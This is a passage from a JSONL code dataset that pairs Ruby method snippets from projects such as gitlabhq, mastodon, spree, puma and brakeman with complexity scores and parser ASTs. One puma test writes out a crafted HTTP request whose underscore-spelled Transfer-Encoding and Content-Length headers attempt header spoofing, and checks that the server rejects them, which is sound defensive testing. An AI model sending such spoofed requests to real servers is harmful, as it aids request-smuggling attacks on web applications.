n\":[\"field_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"value\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"close\"]}]}]}","id":"8dbc02c5-801f-4a28-bea7-e8345d73d458"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/apps/rails3.2/app/controllers/users_controller.rb","start_line":29,"raw_source":"def new\n    @user = User.new\n\n    respond_to do |format|\n      format.html # new.html.erb\n      format.json { render :json => @user }\n    end\n  end","complexity_score":8.9,"ast_json":"{\"type\":\"def\",\"children\":[\"new\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"new\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"format\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"html\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"json\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"ivar\",\"children\":[\"@user\"]}]}]}]}]}]}]}]}]}","id":"5d04b08d-5f22-40ff-9c5f-774a56959140"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/activitypub/parser/status_parser.rb","start_line":195,"raw_source":"def name_language_map?\n    @object['nameMap'].is_a?(Hash) && !@object['nameMap'].empty?\n  end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"name_language_map?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@object\"]},\"[]\",{\"type\":\"str\",\"children\":[\"nameMap\"]}]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@object\"]},\"[]\",{\"type\":\"str\",\"children\":[\"nameMap\"]}]},\"empty?\"]},\"!\"]}]}]}","id":"57d2caf3-d244-454b-8bb5-b24d409c9536"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/services/staff_action_logger.rb","start_line":485,"raw_source":"def log_badge_grant(user_badge, opts = {})\n    raise Discourse::InvalidParameters.new(:user_badge) unless user_badge\n    UserHistory.create!(\n      params(opts).merge(\n        action: UserHistory.actions[:grant_badge],\n        target_user_id: user_badge.user_id,\n        details: user_badge.badge.name,\n      ),\n    )\n  end","complexity_score":15.4,"ast_json":"{\"type\":\"def\",\"children\":[\"log_badge_grant\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user_badge\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_badge\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"InvalidParameters\"]},\"new\",{\"type\":\"sym\",\"children\":[\"user_badge\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserHistory\"]},\"create!\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserHistory\"]},\"actions\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"grant_badge\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_badge\"]},\"user_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"details\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_badge\"]},\"badge\"]},\"name\"]}]}]}]}]}]}]}","id":"e68e4053-c963-41b9-b517-f4c157592d91"}
{"repo_name":"spree","file_path":"./repos/spree/storefront/app/controllers/spree/order_status_controller.rb","start_line":9,"raw_source":"def create\n      raise ActiveRecord::RecordNotFound if params[:number].blank?\n\n      @order = order_finder.new(number: params[:number], email: params[:email], store: current_store).execute.first\n\n      if @order\n        redirect_to spree.order_path(@order, token: @order.token), status: :see_other\n      else\n        flash[:error] = Spree.t(:order_not_found)\n        render :new, status: :unprocessable_entity\n      end\n    end","complexity_score":31.5,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"number\"]}]},\"blank?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordNotFound\"]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@order\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"order_finder\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"number\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"number\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"email\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"email\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"store\"]},{\"type\":\"send\",\"children\":[null,\"current_store\"]}]}]}]},\"execute\"]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@order\"]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"spree\"]},\"order_path\",{\"type\":\"ivar\",\"children\":[\"@order\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"token\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@order\"]},\"token\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"see_other\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"t\",{\"type\":\"sym\",\"children\":[\"order_not_found\"]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"sym\",\"children\":[\"new\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"unprocessable_entity\"]}]}]}]}]}]}]}]}","id":"d10eeec3-7ac8-424a-b20d-469d2ef3dd2e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/rubocop/cop/migration/update_column_in_batches_spec.rb","start_line":111,"raw_source":"def touch_file(path)\n    tmp_rails_root.join(path).tap do |full_path|\n      full_path.dirname.mkpath\n      full_path.write('')\n    end\n  end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"touch_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tmp_rails_root\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"full_path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"full_path\"]},\"dirname\"]},\"mkpath\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"full_path\"]},\"write\",{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]}","id":"3587f1fd-e9ae-4a2a-947b-0eb06e316fab"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects_controller.rb","start_line":598,"raw_source":"def build_canonical_path(project)\n    params[:namespace_id] = project.namespace.to_param\n    params[:id] = project.to_param\n\n    url_for(safe_params)\n  end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"build_canonical_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"namespace_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"namespace\"]},\"to_param\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"to_param\"]}]},{\"type\":\"send\",\"children\":[null,\"url_for\",{\"type\":\"send\",\"children\":[null,\"safe_params\"]}]}]}]}","id":"056f48ce-3186-427d-852d-ae821077be27"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/tooling/danger/sidekiq_args.rb","start_line":54,"raw_source":"def add_comment_for_matched_line(filename)\n        diff = helper.changed_lines(filename)\n        return unless args_changed?(diff)\n\n        file_lines = project_helper.file_lines(filename)\n\n        perform_method_line = file_lines.index { |line| line.include?(DEF_PERFORM) }\n        markdown(format(SUGGEST_MR_COMMENT), file: filename, line: perform_method_line.succ)\n        warn(MR_WARNING_COMMENT)\n      end","complexity_score":16.9,"ast_json":"{\"type\":\"def\",\"children\":[\"add_comment_for_matched_line\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filename\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"diff\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"helper\"]},\"changed_lines\",{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"args_changed?\",{\"type\":\"lvar\",\"children\":[\"diff\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"file_lines\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project_helper\"]},\"file_lines\",{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"perform_method_line\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_lines\"]},\"index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"include?\",{\"type\":\"const\",\"children\":[null,\"DEF_PERFORM\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"markdown\",{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"const\",\"children\":[null,\"SUGGEST_MR_COMMENT\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"file\"]},{\"type\":\"lvar\",\"children\":[\"filename\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"line\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"perform_method_line\"]},\"succ\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"warn\",{\"type\":\"const\",\"children\":[null,\"MR_WARNING_COMMENT\"]}]}]}]}","id":"78e56457-4380-4c46-97b9-1ca462bc3a06"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/text_formatting/filters/mention_filter.rb","start_line":116,"raw_source":"def mention_id(mention)\n        attribute_value = mention.attributes[\"data-id\"]&.value\n\n        id_match = attribute_value&.match(/\\d+/)\n\n        id_match ? id_match[0] : nil\n      end","complexity_score":8.9,"ast_json":"{\"type\":\"def\",\"children\":[\"mention_id\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mention\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"attribute_value\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mention\"]},\"attributes\"]},\"[]\",{\"type\":\"str\",\"children\":[\"data-id\"]}]},\"value\"]}]},{\"type\":\"lvasgn\",\"children\":[\"id_match\",{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute_value\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\d+\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id_match\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id_match\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"4d9414f6-3438-4d1f-aba6-5e0e643c43f5"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/arel/visitors/to_sql.rb","start_line":907,"raw_source":"def has_group_by_and_having?(o)\n          !o.groups.empty? && !o.havings.empty?\n        end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"has_group_by_and_having?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"o\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"groups\"]},\"empty?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"havings\"]},\"empty?\"]},\"!\"]}]}]}","id":"0e80daef-6cf3-4894-a6e3-c308bed2d5a4"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/members/row_component.rb","start_line":272,"raw_source":"def principal_class_name\n      principal.model_name.singular\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"principal_class_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"principal\"]},\"model_name\"]},\"singular\"]}]}","id":"769fbc6c-821b-427f-8038-cbeefe2f9552"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/models/meeting_agenda_item.rb","start_line":118,"raw_source":"def visible_work_package?\n    linked_work_package? && work_package.visible?(User.current)\n  end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"visible_work_package?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"linked_work_package?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"work_package\"]},\"visible?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current\"]}]}]}]}","id":"4768664f-5807-45db-9877-27a39a3b1eb3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/repository.rb","start_line":94,"raw_source":"def raw_repository\n    return unless full_path\n\n    @raw_repository ||= initialize_raw_repository\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"raw_repository\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"full_path\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@raw_repository\"]},{\"type\":\"send\",\"children\":[null,\"initialize_raw_repository\"]}]}]}]}","id":"45309175-cf8d-4130-b0ae-338deedbc8eb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/sidebars/admin/menus/admin_overview_menu.rb","start_line":72,"raw_source":"def groups_menu_item\n          build_menu_item(\n            title: _('Groups'),\n            link: admin_groups_path,\n            active_routes: { controller: 'groups' },\n            item_id: :groups,\n            container_html_options: { 'data-testid': 'admin-overview-groups-link' }\n          ) { can?(current_user, :read_admin_groups) }\n        end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"groups_menu_item\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"build_menu_item\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Groups\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"link\"]},{\"type\":\"send\",\"children\":[null,\"admin_groups_path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"active_routes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"controller\"]},{\"type\":\"str\",\"children\":[\"groups\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"item_id\"]},{\"type\":\"sym\",\"children\":[\"groups\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"container_html_options\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data-testid\"]},{\"type\":\"str\",\"children\":[\"admin-overview-groups-link\"]}]}]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"read_admin_groups\"]}]}]}]}","id":"a8cb7e61-4b64-426e-8c31-dbd8a10c3446"}
{"repo_name":"puma","file_path":"./repos/puma/test/test_request_single.rb","start_line":116,"raw_source":"def test_unmaskable_headers\n    request = <<~REQ.gsub(\"\\n\", \"\\r\\n\").rstrip\n      GET / HTTP/1.1\n      Transfer_Encoding: chunked\n      Content_Length: 11\n\n      Hello World\n    REQ\n\n    create_client request\n\n    if @parser.finished?\n      assert_equal '11', @client.env['HTTP_CONTENT,LENGTH']\n      assert_equal 'chunked', @client.env['HTTP_TRANSFER,ENCODING']\n      assert_instance_of Puma::NullIO, @client.body\n    else\n      fail\n    end\n  end","complexity_score":18.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_unmaskable_headers\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"request\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"GET / HTTP/1.1\\n\"]},{\"type\":\"str\",\"children\":[\"Transfer_Encoding: chunked\\n\"]},{\"type\":\"str\",\"children\":[\"Content_Length: 11\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"Hello World\\n\"]}]},\"gsub\",{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\r\\n\"]}]},\"rstrip\"]}]},{\"type\":\"send\",\"children\":[null,\"create_client\",{\"type\":\"lvar\",\"children\":[\"request\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@parser\"]},\"finished?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"11\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@client\"]},\"env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"HTTP_CONTENT,LENGTH\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"chunked\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@client\"]},\"env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"HTTP_TRANSFER,ENCODING\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_instance_of\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Puma\"]},\"NullIO\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@client\"]},\"body\"]}]}]},{\"type\":\"send\",\"children\":[null,\"fail\"]}]}]}]}","id":"f1d2961c-3701-4179-96dc-ab861ef5065b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/tracking/event_definition.rb","start_line":77,"raw_source":"def event_selection_rules\n        @event_selection_rules ||= find_event_selection_rules\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"event_selection_rules\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@event_selection_rules\"]},{\"type\":\"send\",\"children\":[null,\"find_event_selection_rules\"]}]}]}","id":"100a68c2-ef26-4274-ba7c-abda86ff9aed"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/sarif_output.rb","start_line":226,"raw_source":"def test_uri_base_ids_with_default_app_path_and_absolute_path_option\n    original_app_path = tracker_3_2.options[:app_path] # Horrible hack\n    tracker_3_2.options[:app_path] = '.'\n    tracker_3_2.options[:absolute_paths] = true\n    sarif = JSON.parse(tracker_3_2.report.to_sarif)\n\n    assert base_uris = sarif.dig('runs', 0, 'originalUriBaseIds')\n    assert_equal ['%SRCROOT%'], base_uris.keys\n\n    # Only %SRCROOT% with absolute URI\n    assert base_uris['%SRCROOT%']\n    assert_equal ['uri', 'description'], base_uris['%SRCROOT%'].keys\n    assert base_uris['%SRCROOT%']['uri'].start_with? 'file://'\n    assert base_uris['%SRCROOT%']['uri'].end_with? '/'\n  ensure\n    tracker_3_2.options[:app_path] = original_app_path\n    tracker_3_2.options[:absolute_paths] = false\n  end","complexity_score":49.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_uri_base_ids_with_default_app_path_and_absolute_path_option\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"original_app_path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tracker_3_2\"]},\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"app_path\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tracker_3_2\"]},\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"app_path\"]},{\"type\":\"str\",\"children\":[\".\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tracker_3_2\"]},\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"absolute_paths\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"sarif\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tracker_3_2\"]},\"report\"]},\"to_sarif\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"lvasgn\",\"children\":[\"base_uris\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sarif\"]},\"dig\",{\"type\":\"str\",\"children\":[\"runs\"]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"str\",\"children\":[\"originalUriBaseIds\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"%SRCROOT%\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base_uris\"]},\"keys\"]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base_uris\"]},\"[]\",{\"type\":\"str\",\"children\":[\"%SRCROOT%\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"str\",\"children\":[\"description\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base_uris\"]},\"[]\",{\"type\":\"str\",\"children\":[\"%SRCROOT%\"]}]},\"keys\"]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base_uris\"]},\"[]\",{\"type\":\"str\",\"children\":[\"%SRCROOT%\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"uri\"]}]},\"start_with?\",{\"type\":\"str\",\"children\":[\"file://\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base_uris\"]},\"[]\",{\"type\":\"str\",\"children\":[\"%SRCROOT%\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"uri\"]}]},\"end_with?\",{\"type\":\"str\",\"children\":[\"/\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tracker_3_2\"]},\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"app_path\"]},{\"type\":\"lvar\",\"children\":[\"original_app_path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tracker_3_2\"]},\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"absolute_paths\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}","id":"431946c8-2425-4ed1-a03e-a931db134269"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/models/concerns/liquidable.rb","start_line":88,"raw_source":"def process_liquid_string(string)\n    return string if string.blank?\n\n    template = Liquid::Template.parse(string)\n    template.render(message_drops)\n  rescue Liquid::Error\n    string\n  end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"process_liquid_string\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"string\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"string\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"string\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"template\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Liquid\"]},\"Template\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"string\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"template\"]},\"render\",{\"type\":\"send\",\"children\":[null,\"message_drops\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Liquid\"]},\"Error\"]}]},null,{\"type\":\"lvar\",\"children\":[\"string\"]}]},null]}]}","id":"0b44e2d4-a427-49f6-9938-ff593176a8b9"}
